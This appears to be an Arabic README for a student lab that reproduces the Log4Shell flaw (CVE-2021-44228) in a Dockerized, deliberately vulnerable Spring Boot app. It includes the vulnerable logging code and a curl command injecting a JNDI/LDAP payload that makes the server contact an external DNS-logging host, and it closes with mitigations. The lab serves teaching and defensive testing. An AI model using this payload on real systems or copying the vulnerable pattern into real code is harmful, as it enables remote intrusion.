
دراسة تقنية وإنشاء بيئة اختبار لثغرة Apache Log4j (CVE-2021-44228). تتضمن إثباتَ مفهوم (PoC) معبأً في حاوية Docker ومقترحًا لتحديث PSSI. لتحقيق هدف أعمال تطبيقية.
هذا المشروع هو بيئة اختبار مُتحكَم بها تتيح إعادة إنتاج وفهم الثغرة الحرجة Log4Shell (CVE-2021-44228) التي تؤثر على مكتبة Apache Log4j.
Secutp1/
├── Dockerfile # Construction de l'image Docker
├── pom.xml # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md # Ce fichier
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Application Spring Boot vulnérable
إظهار كيف يمكن للمهاجم استغلال الثغرة CVE-2021-44228 لإجبار الخادم على إجراء اتصال شبكة صادر غير مصرح به، بمجرد إرسال سلسلة أحرف خبيثة.
pom.xml)يفرض ملف pom.xml استخدام Log4j 2.14.1، وهو إصدار أقدم من التصحيح الأمني:
<log4j2.version>2.14.1</log4j2.version>
يحتوي هذا الإصدار على الفئة JndiLookup المفعّلة افتراضيًا، وهي جذر المشكلة.
VulnerableApplication.java)يكشف التطبيق عن خدمة ويب REST. تكمن الثغرة في الدالة index:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// LA LIGNE VULNÉRABLE :
logger.info("Requête reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
المشكلة: يسترجع التطبيق معامل مستخدم (input) ويمرّره مباشرة إلى logger.info() بدون أي تصفية. يقوم Log4j عندئذٍ بتفسير المحتوى كأمر محتمل.
Dockerfile)يستخدم Dockerfile بناءً من مرحلتين:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre💡 استخدام Java 11 مهم لأن الإصدارات الأحدث تقيّد افتراضيًا تحميل الفئات البعيدة.
يعتمد الاستغلال على حقن JNDI (Java Naming and Directory Interface):
${jndi:protocole://url} في السجلاتتأكد من أن الملفات التالية موجودة في نفس المجلد:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
يقوم هذا الأمر بتنزيل تبعيات Maven (Log4j 2.14.1) وإنشاء الصورة.
docker run -p 8080:8080 --name demo-log4j vulnerable-app
يستمع التطبيق الآن على المنفذ 8080.
انتقل إلى خدمة تسجيل DNS:
انسخ العنوان المقدم (مثل: mon-test.dnslog.cn)
في محطة طرفية جديدة، نفّذ الأمر التالي:
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
📝 ملاحظة: يخدم الحرف
\لإفلات الرمز$في المحطة الطرفية.
عُد إلى موقع dnslog. ستلاحظ ظهور طلب DNS، مما يؤكد أن الخادم نفّذ الكود المُحقن.
| الخطوة | الإجراء |
|---|---|
| 1 | يستقبل تطبيق Java طلب HTTP |
| 2 | يعالج سطر logger.info(...) المعامل input |
| 3 | يكتشف Log4j الصيغة ${jndi:...} |
| 4 | ينفذ Log4j تحليل LDAP نحو الخادم البعيد |
| 5 | يظهر طلب DNS على واجهة DNSLog |
قام الخادم بإجراء اتصال صادر نحو جهاز خارجي بمجرد تسجيل طلب مستخدم.
في سيناريو حقيقي، كان يمكن لهذا الاتصال أن يتيح:
لتصحيح هذه الثغرة:
-Dlog4j2.formatMsgNoLookups=trueهذا المشروع مُقدَّم لأغراض تعليمية فقط. استخدمه بطريقة مسؤولة وأخلاقية.